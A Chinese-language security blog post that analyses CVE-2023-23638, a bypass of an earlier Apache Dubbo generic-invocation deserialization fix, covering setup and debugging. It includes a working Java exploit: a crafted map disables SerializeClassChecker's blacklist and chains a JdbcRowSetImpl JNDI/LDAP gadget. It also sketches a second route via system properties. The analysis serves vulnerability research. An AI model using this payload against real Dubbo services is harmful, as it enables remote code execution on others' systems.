前言
长期可持续化摸鱼,偶尔学习,这个漏洞是上一篇漏洞的绕过漏洞。
CVE-2023-23638
漏洞影响:
1 2 3
| 2.7.x <= 2.7.21 3.0.x <= 3.0.13 3.1.x <= 3.1.5
|
根据文档,2.7.x版本的dubbo需要的zookeeper依赖为dubbo-dependencies-zookeeper,修改pom.xml中的dubbo版本为2.7.21,然后依次启动zookeeper和服务provider启动环境。
发现报错:
但是调试的情况下又可以正常连接,说明问题不出在服务端,看到配置的连接超时时间为3000毫秒即3秒钟,尝试增加连接超时时间,修改provider的application.yml文件:
1 2 3 4 5 6 7 8 9
| dubbo: application: name: dubbo-springboot-demo-provider protocol: name: dubbo port: -1 registry: address: zookeeper://${zookeeper.address:192.168.88.129}:2181 timeout: 5000
|
看到provider正常运行了:
1
| [Dubbo] Current Spring Boot Application is await...
|
发现consumer中3.0版本下用的SimpleReferenceCache没有了,改用ReferenceConfig.get发现传输generic字段好像有点问题。
反复尝试后认为问题出在客户端,看到客户端用的连接字符串是:
1
| dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?anyhost=true&application=dubbo-springboot-demo-consumer&check=false&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&group=group1&interface=org.apache.dubbo.springboot.demo.DemoService&metadata-type=remote&methods=sayHello&pid=21712&qos.enable=false®ister.ip=192.168.160.1&release=2.7.21&remote.application=dubbo-springboot-demo-provider&revision=1.0&service.name=ServiceBean:group1/org.apache.dubbo.springboot.demo.DemoService:1.0&side=consumer&sticky=false×tamp=1683195382649&version=1.0
|
generic居然是false,难怪会有问题。
既然是URL构造有问题,那么根据参考文章,可以通过自行设置URL的方式解决:
1 2 3 4 5 6 7 8 9
| referenceConfig.setUrl("dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?" + "application=dubbo-springboot-demo-consumer&" + "generic=raw.return&" + "interface=org.apache.dubbo.springboot.demo.DemoService&" + "register.ip=xx.xx.xx.xx&" + "remote.application=&scope=remote&" + "side=consumer&sticky=false&" + "timeout=3000000"); referenceConfig.setGeneric("raw.return");
|
这下就正常传输generic字段了。
调试一下,如果调用了setURL,就会进入这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if (url != null && url.length() > 0) { String[] us = SEMICOLON_SPLIT_PATTERN.split(url); if (us != null && us.length > 0) { for (String u : us) { URL url = URL.valueOf(u); if (StringUtils.isEmpty(url.getPath())) { url = url.setPath(interfaceName); } if (UrlUtils.isRegistry(url)) { urls.add(url.addParameterAndEncoded(REFER_KEY, StringUtils.toQueryString(map))); } else { urls.add(ClusterUtils.mergeUrl(url, map)); } } } }
|
而如果没有指定URL,就会去访问zookeeper查询服务信息,最后生成两个不同的invoker去访问服务端。
没有指定URL的invoker为MigrationInvoker,生成一个RpcInvocation后,会来到AbstractClusterInvoker类的invoke函数进行attachments的绑定:
1 2 3 4 5
| Map<String, Object> contextAttachments = RpcContext.getContext().getObjectAttachments(); if (contextAttachments != null && contextAttachments.size() != 0) { ((RpcInvocation) invocation).addObjectAttachments(contextAttachments); }
|
而前面执行的时候只set了ConsumerUrl,并没有处理这些attachments,导致generic字段没有了。
而指定URL的invoker为FilterNode,后续会走到GenericImplFilter:
1 2 3 4
| String generic = invoker.getUrl().getParameter(GENERIC_KEY); ... invocation.setAttachment( GENERIC_KEY, invoker.getUrl().getParameter(GENERIC_KEY));
|
将generic字段添加了进去。
利用方式1
观察之前CVE漏洞的修复方式,对raw.return方式的修复方法为黑名单校验:
1
| SerializeClassChecker.getInstance().validateClass((String) className);
|
黑名单存放在SerializeClassChecker类中,该类是一个单例模式,单例存放在静态属性INSTANCE中,且可以通过修改OPEN_CHECK_CLASS的方式关闭黑名单验证,因此可以使用成员赋值绕过黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GenericService genericService = buildGenericService("org.apache.dubbo.springboot.demo.DemoService", "group1","1.0"); HashMap<String, Object> newChecker = new HashMap<>(); newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); newChecker.put("OPEN_CHECK_CLASS", false); HashMap<String, Object> map1 = new HashMap<>(); map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); map1.put("INSTANCE", newChecker); LinkedHashMap<String, Object> map2 = new LinkedHashMap<>(); map2.put("class", "com.sun.rowset.JdbcRowSetImpl"); map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp"); map2.put("autoCommit", true); HashMap<String, Object> bigMap = new HashMap<>(); bigMap.put("class", "java.util.HashMap"); bigMap.put("1", map1); bigMap.put("2", map2); Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{bigMap});
|
高版本JDK或许也可以通过System.setProperties修改系统配置来允许JNDI注入?懒得测试了。
利用方式2
对于原生反序列化的限制通过Configuration实现:
1 2 3 4 5
| Configuration configuration = ApplicationModel.getEnvironment().getConfiguration(); if (!configuration.getBoolean(CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE, false)) { ... throw new RpcException(new IllegalStateException(notice)); }
|
也可以通过System.setProperties修改,然后通过Java原生反序列化完成漏洞利用。
参考
CVE-2021-30179 Dubbo GenericFilter反序列化分析